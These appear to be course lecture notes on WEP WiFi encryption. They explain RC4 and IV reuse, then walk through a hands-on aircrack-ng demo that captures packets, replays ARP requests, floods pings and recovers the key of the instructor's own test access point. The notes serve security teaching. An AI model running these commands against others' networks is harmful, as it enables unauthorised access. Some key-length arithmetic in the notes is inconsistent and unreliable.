WEP WiFi Encryption

WEP

an (unfortunately) popular form of WiFi encryption
it's not secure! don't use it!
my pet peeve: if encryption is setup by default on a WiFi router, it's WEP
but worse: no encryption setup at all

Wired **E**quivalent **P**rivacy
so, like, as private (or confidential) as a wired connection...
requires a key of 10 or 26 hex digits
so 40 or 104 bits

64-bit WEP
40-bit key concatenated to 24-bit initialization vector (IV)
5 ASCII hex characters (5 * 8 = 40)
initialization vector: random bits to add to the complexity of a cipher
this forms the seed (a key) for the RC4 cipher
RC4: a simple cipher that generates a stream of pseudo-random bits given a key
as the RC4 keystream is generated, the plaintext is XOR'd with it to generate the ciphertext
how does this work? e.g.:

plaintext=	0110101011010100	
keystream=	0011001100110011	XOR
ciphertext=	0101100111100111	

without the key, it's hard to decrypt

ciphertext=	0101100111100111	
keystream=	0011001100110011	XOR
plaintext=	0110101011010100	yes!

so the ciphertext is what's blasted over the WiFi network

128-bit WEP
104-bit key concatenated to 24-bit initialization vector
13 ASCII hex characters (13 * 8 = 104)
the rest is the same

authentication (4-way handshake)
1: client sends an authentication request to the access point (AP)
2: AP replies with a plaintext challenge
3: client encrypts the plaintext with the WEP key and sends it back to the AP
4: AP decrypts the response
if this matches the challenge, then all is good!

weakness?
IVs are generated for each packet
since IVs are 24 bits, then 2^{24} packets can exhaust the entire IV space
$2^{24} = 16{,}777{,}216$
but collisions will undoubtedly occur (average 50% of IV space)
$2^{12} = 4{,}096$!
on a busy network, it is likely that an IV is quickly repeated
this effectively breaks RC4 since it's a stream cipher (i.e., sending continuous bits)
if we use the same key, it is noticeable and can be reverse engineered)
if we sniff and inspect enough packets, we can recover the RC4 key

if the network is dead, we can inject packets to add to the traffic
the key is to generate enough IVs so that one repeats

cracking WEP

****a live demo of the following may occur****

note that any values used here are just examples (i.e., they will be different for you)
you will need a WiFi interface that is capable of being put in monitor mode
monitor mode: listen to APs without associating (hey, they're just waves!)
it's also best if the device can inject packets
I recommend the Alfa AWUS036NHA (Google/Amazon it)
or the Alfa AWUS036NH (what I am probably using today)
sometimes, the ...NHA can be problematic in Linux

first, we need aircrack-ng (a suite of tools that largely automates various WiFi activities):

```
sudo apt-get install aircrack-ng
```

the demo will be using:
SSID **civilizations**, channel **11**, **128-bit WEP** with passphrase **cyberstorm** and key **3**
the key: **E0B48B4CAD3BEB19F2FC071434**
assuming a 192.168.1.* network (192.168.1.0/255.255.255.0)

open **four** terminals

connect the WiFi interface (wlanN)
get name and mac of wlan via **ifconfig** and set the interface name in terminal 1:

```
int=wlx00c0ca40b1b8
```

set the interface mac in terminals 1 through 3:

```
mac=00:c0:ca:40:b1:b8
```

get AP specifics in terminal 1:

```
sudo iwlist $int scan | grep -E '(Address:|Channel:|ESSID:)'
```

set in terminals 1 through 3:

```
essid=civilizations
bssid=B4:75:0E:DA:A8:B3
chan=11
```

stop the network manager since it will interfere with aircrack:

```
sudo stop network-manager
```

or

```
sudo /etc/init.d/network-manager stop
```

another good network manager that can be used while doing this is **Wicd**

bring wlan down in terminal 1 (if still up):

```
sudo ifconfig $int down
```

connect eth0 (wired) to AP in terminal 4 (or do so from another machine):

```
sudo ifconfig eno1 up
sudo dhclient eno1
```

start monitoring in terminal 1 (you must have a WiFi device that supports monitor mode)
for us, it just means that we can see the encrypted packets (but, again, they are encrypted):

```
sudo airmon-ng start $int $chan
```

this should have created a monitor interface (**mon0** in this case)
capture packets in terminal 1:

```
sudo airodump-ng -c $chan --bssid $bssid -w output mon0
```

now we need to replay packets so that many IVs are generated
authenticate (part of the handshake) with AP in terminal 2:

```
sudo aireplay-ng -1 0 -e $essid -a $bssid -h $mac mon0
```

relay ARP requests in terminal 2 to generate IVs:

```
sudo aireplay-ng -3 -b $bssid -h $mac mon0
```

if you get a deauth/disassoc packet, you will have to break and re-authenticate again
then go back to relaying

crack in terminal 3:

```
sudo aircrack-ng -b $bssid output*.cap
```

hopefully this doesn't take too long, and the key is eventually discovered

while capturing, relaying, and cracking; generate traffic
ping in terminal 4 (or from the other machine):

```
for ((i=2; i<255; i+=10)); do sudo ping -f -I eno1 -W 0.01 192.168.1.$i; done
```

press ctrl+c repeatedly to go to the next IP address in the for loop

when successful, stop everything
press ctrl+c in all terminals that have things running
then stop the monitor interface and clean up in terminal 1:

```
sudo airmon-ng stop mon0
sudo rm output*
sudo rm replay*
```

it will also help if you unplug your WiFi interface (if USB) to reset everything

FYI, to restart the network manager:

```
sudo service network-manager start
```

or

```
sudo /etc/init.d/network-manager start
```

or

```
sudo NetworkManager
```